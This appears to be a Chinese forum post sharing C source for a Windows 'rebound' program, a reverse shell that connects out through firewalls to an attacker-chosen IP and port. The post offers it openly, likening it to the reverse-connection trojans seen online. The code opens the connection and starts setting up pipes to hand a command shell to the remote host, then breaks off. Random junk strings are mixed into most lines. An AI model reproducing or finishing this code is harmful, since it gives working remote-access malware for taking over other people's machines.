这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d&\3}uH
)*`h)`\y
/* ============================== x[0O*ty-*<
Rebound port in Windows NT RD46@Q`
By wind,2006/7 {xH?b0>
===============================*/ ~Hu!iZ2]
#include +H28 F_#
#include G{I),Y~IF
5 5m\,UG7
#pragma comment(lib,"wsock32.lib") ~>HzAo9e
UOk\fyD2[
void OutputShell(); .`Q^8|$-K
SOCKET sClient; h[&"KA
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `<7!Rh,tS^
Ij$C@hH
void main(int argc,char **argv) T@Y, 7ccpd
{ yYaoA/0
WSADATA stWsaData; G[`1Yw$
int nRet; o+B)
SOCKADDR_IN stSaiClient,stSaiServer; @Ns[qn;9
kY @(-
if(argc != 3) z DU=2c4W9
{ loO"[8i.k
printf("Useage:\n\rRebound DestIP DestPort\n"); L SP p
return; '&'m#H*:
} 9}u,`&
Xjkg7p,HD@
WSAStartup(MAKEWORD(2,2),&stWsaData); DY9]$h*y
IvT><8<G
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +[<YE
AYgXqmH~+
stSaiClient.sin_family = AF_INET; fCwE1r*^
stSaiClient.sin_port = htons(0); DU0/if9.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .] sJl
^lAM /
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8;V9%h`P>
{ tq}45{FH3
printf("Bind Socket Failed!\n"); jn:_2g[
return; |K"Q>V2y
} ZZ7qSyBs?
7/
?QZN
stSaiServer.sin_family = AF_INET; MUAs(M;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,wwO0,"y7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kQ lU.J>^
fT|A^
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UXs)$
{ xC,x_:R`
printf("Connect Error!"); xEp?|Q$
return; Dlq!:dF{&
} KWZhCS?[(
OutputShell(); Zym6btc
} qh:Bc$S
aPVzOBp
void OutputShell() 3f] ;y<Km
{ vWZXb`
char szBuff[1024]; =29IHL3
SECURITY_ATTRIBUTES stSecurityAttributes; MDU#V
OSVERSIONINFO stOsversionInfo; ?%h$deJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 68Gywk3]=u
STARTUPINFO stStartupInfo; _ i}W1i
char *szShell; l2qvYNMw
PROCESS_INFORMATION stProcessInformation; N,c!1:b
unsigned long lBytesRead; D2?H"PH
)63
$,y-;$
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dPwyiV0
L%T(H<